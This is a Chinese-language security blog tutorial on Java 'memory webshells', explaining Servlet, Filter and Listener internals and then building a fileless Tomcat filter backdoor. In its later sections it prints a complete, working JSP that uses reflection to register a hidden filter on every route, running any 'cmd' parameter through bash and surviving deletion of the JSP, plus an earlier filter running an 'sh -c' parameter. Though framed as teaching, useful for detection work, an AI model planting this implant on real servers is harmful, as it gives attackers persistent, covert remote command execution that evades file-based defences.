深入浅出内存马(一)
深入浅出内存马(一)
0x01 简述
0x0101 Webshell技术历程
在Web安全领域,Webshell一直是一个非常重要且热门的话题。在目前传统安全领域,Webshell根据功能的不同分为三种类型,分别是:一句话木马,小马,大马。而根据现在防火墙技术的更新迭代,随后出现了加密的木马技术,比如:加密一句话。而我们今天要说的是一种新的无文件的Webshell类型:内存马。
0x0102 为什么会使用内存马?
传统Webshell连接方式,都是先通过某种漏洞将恶意的脚本木马文件上传,然后通过中国菜刀,或者蚁剑,冰蝎等Webshell管理软件进行链接。
这种方式目前仍然流行,但是由于近几年防火墙,IDS,IPS,流量分析等各种安全设备的普及和更新,这种连接方式非常容易被设备捕获拦截,而且由于文件是明文存放在服务器端,所以又很容易被杀毒软件所查杀。在今天看来这种传统连接方式显然已经过时,于是乎,进化了一系列的加密一句话木马,但是这种方式还是不能绕过有类似文件监控的杀毒软件,于是乎进化了新一代的Webshell—》内存马
0x03 什么是内存马
内存马是无文件Webshell,什么是无文件webshell呢?简单来说,就是服务器上不会存在需要链接的webshell脚本文件。那有的同学可能会问了?这种方式为什么能链接呢?内存马的原理就像是MVC架构,即通过路由访问控制器,我通过自身的理解,概述的说一下, 内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码
0x03 内存马的类型
目前分为两种:
Servlet-API型
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马- filter型
- servlet型
字节码增强型
通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。
spring类
- 拦截器
- Controller型
0x02 内存马的原理
我们以Java Web举例,在Java Web中有三大组件分别是Servlet, Filter,Listener
Servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
Servlet程序是由WEB服务器调用,web服务器收到客户端的Servlet访问请求后:
- Web服务器首先检查是否已经装载并创建了该Servlet的实例对象。如果是,则直接执行第4步,否则,执行第2步。
- 装载并创建该Servlet的一个实例对象。
- 调用Servlet实例对象的init()方法。
- 创建一个用于封装HTTP请求消息的HttpServletRequest对象和一个代表HTTP响应消息的HttpServletResponse对象,然后调用Servlet的service()方法并将请求和响应对象作为参数传递进去。
- WEB应用程序被停止或重新启动之前,Servlet引擎将卸载Servlet,并在卸载之前调用Servlet的destroy()方法。
Filter
Filter译为过滤器。过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。
web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter,当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第2个filter,如果没有,则调用目标资源。
生命周期
public void init(FilterConfig filterConfig) throws ServletException;//初始化
和我们编写的Servlet程序一样,Filter的创建和销毁由WEB服务器负责。 web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;//拦截请求
这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。public void destroy();//销毁
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
Listener
监听器用于监听Web应用中某些对象的创建、销毁、增加,修改,删除等动作的发生,然后作出相应的响应处理。当监听范围的对象的状态发生变化的时候,服务器自动调用监听器对象中的方法。常用于统计网站在线人数、系统加载时进行信息初始化、统计网站的访问量等等。
主要由三部分构成:
- 事件源:被监听的对象
- 监听器:监听的对象,事件源的变化会触发监听器的响应行为
- 响应行为:监听器监听到事件源的状态变化时所执行的动作
在初始化时,需要将事件源和监听器进行绑定,也就是注册监听器。
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
Tomcat
在 Tomcat 中,每个 Host 下可以有多个 Context (Context 是 Host 的子容器), 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop /manager 这种,在一个 Context 下可以有着多个 Wrapper
Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收
0x03 Tomcat Filter注入流程
通过上面的介绍,我们已经大致了解内存马的背景知识,现在我们来讲解Tomcat Filter类型的内存马,看看这种流程是什么样子的?
0x0301Tomcat Filter简单案例
新建filter
package com.evalshell.Filter;import javax.servlet.*;
import java.io.IOException;public class MyFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("Filter 创建");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("执行过滤过程");filterChain.doFilter(servletRequest, servletResponse);}@Overridepublic void destroy() {System.out.println("销毁!");}
}
Web.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"><servlet><servlet-name>HelloServlet</servlet-name><servlet-class>com.evalshell.Servlet.HelloServlet</servlet-class></servlet><servlet-mapping><servlet-name>HelloServlet</servlet-name><url-pattern>/hello</url-pattern></servlet-mapping><filter><filter-name>MyFilter</filter-name><filter-class>com.evalshell.Filter.MyFilter</filter-class></filter><filter-mapping><filter-name>MyFilter</filter-name><url-pattern>/hello</url-pattern></filter-mapping></web-app>
就是我们创建一个servlet和一个filter 访问路由都是为/hello
。看下结果:
控制台输出
我们简单调试一下
对应Web.xml中的配置信息,这种方式就是为静态的添加filter的方式,filter实现分为静态和动态,静态就是上述中,普通配置在web.xml或者通过@注释配置在类中的。
关于整个Filter的调用链 可以参考:https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w, 这个不是我们主要讲述的重点。
Filter调用链,可以引用宽字节安全总结的一张图来说明:
0x04 Filter型内存马注入
0x0401 动态创建Filter
我们调试一下filterChain.doFilter() 方法,启动服务,然后访问/hello
即可调试:
继续跟进,可以看到doFilter()
的具体处理过程是在internalDoFilter()
然后最后调用service()
方法去调用这个filter里面的内容
概述地说, FilterChain.doFilter()
方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter()
方法中调用的FilterChain.doFilter()
方法将调用目标 Servlet.service()
方法。
0x0402 一个简单Filter内存马案例
上面的描述总结下来就是如何在tomcat中动态的注入一条配置项和代码,拿filter类型举例子,那么我们如何创建一个Filter类型的内存马呢?
- 首先创建一个恶意Filter
- 利用 FilterDef 对 Filter 进行一个封装
- 将 FilterDef 添加到 FilterDefs 和 FilterConfig
- 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);// ApplicationContext 为 ServletContext 的实现类ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);// 这样我们就获取到了 context StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。
好的 那我们首先来编写一个filter的恶意类
package com.evalshell.Filter;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;public class MyFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("Filter 创建");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("执行过滤过程");//测试只考虑linux环境下HttpServletRequest request = (HttpServletRequest) servletRequest;if (request.getParameter("c") != null){String[] command = new String[]{"sh", "-c", request.getParameter("c")};InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");String output = scanner.hasNext() ? scanner.next() : "";servletResponse.getWriter().write(output);servletResponse.getWriter().flush();return;}filterChain.doFilter(servletRequest, servletResponse);}@Overridepublic void destroy() {System.out.println("销毁!");}
}
运行效果:
可以看到这个就是在tomcat中没有任何shell文件,但是在过滤器中执行了我们的代码。
0x0402 最终实战
那么真实情况下,我们不可能直接修改项目中Filter的源码,因为就算修改了,想要生效也需要重启。所以我们需要动态的插入filter,那我们该如何操作呢?
最终代码如下:
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%final String name = "fengxuan";ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);if (filterConfigs.get(name) == null){Filter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {//这里写上我们后门的主要代码HttpServletRequest req = (HttpServletRequest) servletRequest;if (req.getParameter("cmd") != null){byte[] bytes = new byte[1024];Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();int len = process.getInputStream().read(bytes);servletResponse.getWriter().write(new String(bytes,0,len));process.destroy();return;}//别忘记带这个,不然的话其他的过滤器可能无法使用filterChain.doFilter(servletRequest,servletResponse);}@Overridepublic void destroy() {}};FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());// 将filterDef添加到filterDefs中standardContext.addFilterDef(filterDef);FilterMap filterMap = new FilterMap();//拦截的路由规则,/* 表示拦截任意路由filterMap.addURLPattern("/*");filterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);filterConfigs.put(name,filterConfig);out.print("注入成功");}
%>
访问这个页面
最后直接访问任意Servlet路由都可以执行命令
即使删除我们的注入文件filterdemo1.jsp
也是一样可以执行,这样就可以达到无文件的Webshell管理方式了。
0x05 参考链接
http://wjlshare.com/archives/1529#0x01_Tomcat
https://www.freebuf.com/articles/web/274466.html
更多优质文章请到风炫安全知识库:https://evalshell.com/
深入浅出内存马(一)相关推荐
- 【网络安全】Agent内存马的自动分析与查杀
前言 出发点是Java Agent内存马的自动分析与查杀,实际上其他内存马都可以通过这种方式查杀 本文主要的难点主要是以下三个,我会在文中逐个解答 如何dump出JVM中真正的当前的字节码 如何解决由 ...
- 从一个被Tomcat拒绝的漏洞到特殊内存马
介绍 今天研究内存马相关的东西,偶然间发现一处解析BUG 一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下 ...
- 【Web安全】JSP内存马研究
前言 最近在研究webshell免杀的问题,到了内存马免杀部分发现传统的Filter或者Servlet查杀手段比较多,不太容易实现免杀,比如有些工具会将所有注册的Servlet和Filter拿出来,排 ...
- dll 源码_【技术分享】 | 一个JAVA内存马的源码分析
前言 偶然接触到了这样一个JAVA内存马,其作者也是冰蝎的作者,项目地址: https://github.com/rebeyond/memShell 正好最近在接触JAVA,借此机会学习下大佬的代码, ...
- Servlet内存马
1. 何谓内存马? 以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启. Java内存shell有很多种,大 ...
- 内存马涉及基础知识整理
内存马简介 1.1 webshell变迁 web服务器管理页面--> 大马-->小马拉大马-->一句话木马-->加密一句话木马 内存马是无文件攻击的一种常用手段,随着攻防演练热 ...
- Java内存马攻防实战——攻击基础篇
在红蓝对抗中,攻击方广泛应用webshell等技术在防守方提供的服务中植入后门,防守方也发展出各种技术来应对攻击,传统的落地型webshell很容易被攻击方检测和绞杀.而内存马技术则是通过在运行的 ...
- TemplatesImpl利用链与Fastjson注入内存马
0x01 背景 之前文章中有说的,要加入星球访问:https://t.zsxq.com/0ahB6Mw1P TemplatesImpl利用链是一个非常重要的东西,要知道,CC链可以用它,CB链也用它, ...
- Java Agent 型内存马调试系列 (一)
0x00 前言 在JDK1.5以后,引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控.收集性能信息.诊断问题,通过 java.lang.in ...
最新文章
- windows10+Python3.7安装dlib库进行面部标志识别
- 我的第一个Python程序
- Install Oracle Instant Client on Linux and Windows
- Java设计模式(十六):生成器设计模式
- E - 数据结构实验之排序五:归并求逆序数
- javascript基本数据类型问题汇总
- mysql服务器性能剖析,高性能MySQL–服务器性能剖析
- gis环境设置在哪_三维GIS平台的可视化应用 (下)
- Oracle开发专题之:分析函数(OVER)
- 我的世界会员特效在服务器显示,腐竹教你在游戏中制作登录提示效果
- reflection java_Java Reflection (JAVA反射)
- CS224N笔记——高级词向量表示
- tf.image.resize_images
- koreader下载_koreader安卓下载
- stm32+TB6612驱动直流电机
- 识别连笔字的软件_3个最实用的字体识别的在线工具
- 决策树、随机森林及代码实战
- 高德地图—js.api
- 掠食细菌—蛭弧菌B. bacteriovorus,可以对抗革兰氏阴性感染?
- java 字符串像素_如何在JavaFX中计算字符串的像素宽度?